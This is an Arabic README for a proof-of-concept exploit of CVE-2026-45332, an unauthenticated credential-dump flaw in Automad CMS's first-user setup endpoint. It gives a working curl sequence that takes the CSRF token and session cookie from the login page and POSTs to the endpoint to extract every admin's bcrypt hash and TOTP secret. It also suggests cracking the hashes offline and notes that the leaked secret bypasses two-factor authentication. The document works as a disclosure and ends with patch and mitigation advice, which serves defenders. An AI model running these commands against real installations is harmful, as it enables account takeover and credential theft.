
استغلال لإثبات المفهوم لثغرة CVE-2026-45332، وهي ثغرة تحكم مكسور في الوصول في نظام إدارة المحتوى Automad CMS تتيح تفريغ تجزئات bcrypt وأسرار TOTP الخاصة بالمسؤول دون مصادقة.
إثبات مفهوم لثغرة CVE-2026-45332، وهي ثغرة كسر التحكم في الوصول في نظام Automad CMS تسمح لأي مهاجم غير مصادَق بتفريغ تجزئة كلمة المرور bcrypt وسر TOTP الخاص بكل حساب مسؤول عبر نقطة نهاية الإعداد، والتي لا يتم تعطيلها أبداً بعد التكوين الأولي.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-45332 |
| GHSA | GHSA-xm76-r88j-vm3g |
| المنتج | Automad CMS (composer automad/automad) |
| الإصدارات المتأثرة | >= 2.0.0-alpha.1, <= 2.0.0-beta.27 |
| الإصدار المُصحَّح | 2.0.0-beta.28 |
| CVSS 3.1 | 7.5 عالية (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CWE | CWE-200 (كشف المعلومات الحساسة), CWE-306 (غياب المصادقة لوظيفة حرجة) |
| الباحث | Lorenzo Camilli |
Automad هو نظام إدارة محتوى (CMS) مبني على PHP وقائم على الملفات. نقطة النهاية المسؤولة عن إنشاء حساب المسؤول الأول، /_api/user-collection/create-first-user، مُسجَّلة كمسار API عام بشكل دائم. لا يوجد أي حارس يغلقها بمجرد اكتمال التكوين الأولي.
على نسخة حيّة ومُهيَّأة بالكامل، يؤدي طلب POST غير مصادَق إلى هذه النقطة إلى تحميل قاعدة بيانات المستخدمين بالكامل من القرص وإرجاعها مُسلسَلة في جسم استجابة JSON، بما في ذلك:
2.0.0-beta.27)لا يتطلب الأمر أي حساب سابق أو بيانات اعتماد أو موقع شبكي مميز.
المسار موضوع داخل مصفوفة $publicAPIRoutes في automad/src/server/Routes.php ويُسجَّل تحت الشرط AM_PAGE_DASHBOARD، وهو ثابت يُقيَّم إلى السلسلة '/dashboard' وبالتالي يكون صحيحاً دائماً (truthy). يبقى المسار مسجَّلاً في كل تثبيت، بما في ذلك بعد اكتمال الإعداد.
// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
$UserCollection = new UserCollection(); // loads ALL existing users from disk
// ...
$php = $UserCollection->generatePHP(); // serializes every user including hashes
return $Response->setData(array(
'php' => $php, // credential hashes returned in response
'configDir' => dirname(UserCollection::FILE_ACCOUNTS) // absolute path leaked
));
}
يتضمّن User::__serialize() الحقلين الخاصين passwordHash وtotpSecret، وبالتالي ينتهي بهما الأمر مضمَّنين في المخرجات المُسلسَلة المعادة إلى المتصل.
الشرح التقني الكامل: PoC.md.
تتطلب نقطة النهاية رمز CSRF صالحاً وملف تعريف ارتباط (كوكي) لجلسة Automad، وكلاهما يمكن الحصول عليهما بحرية من صفحة تسجيل الدخول العامة. إعادة الإنتاج:
# 1. Grab a session cookie and the CSRF token from the public login page
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
| grep -oP '(?<=<meta name="csrf" content=")[^"]+')
# 2. Dump the credential store
curl -s -b "$JAR" -X POST 'http://localhost:80/_api/user-collection/create-first-user' \
--data-urlencode "__csrf__=$CSRF" \
--data-urlencode 'username=dummy' \
--data-urlencode 'password1=AnyPassword1!' \
--data-urlencode 'password2=AnyPassword1!' \
--data-urlencode '[email protected]' | jq .
تحتوي الاستجابة على تجزئة bcrypt وسر TOTP لكل مسؤول مسجَّل، بالإضافة إلى مسار التكوين المطلق:
{
"code": 200,
"data": {
"php": "<?php ... \"passwordHash\";s:60:\"$2y$10$<ADMIN_HASH>\" ... \"totpSecret\";s:N:\"<TOTP_SECRET>\" ...",
"filename": "accounts.php",
"configDir": "/path/to/config"
}
}
يمكن بعد ذلك كسر تجزئات bcrypt دون اتصال (باستخدام Hashcat / John). في الإصدار 2.0.0-beta.27، يتجاوز سر TOTP المُسرَّب المصادقة الثنائية بشكل كامل.
يمكن للمهاجم عن بُعد وغير المصادَق:
2.0.0-beta.27.قم بالتحديث إلى Automad 2.0.0-beta.28 أو أحدث، وهو ما يقيّد نقطة النهاية بمجرد اكتمال الإعداد الأولي. وكإجراء تخفيف مؤقت، احظر الطلبات الموجهة إلى /_api/user-collection/create-first-user عند خادم الويب أو جدار حماية تطبيقات الويب (WAF).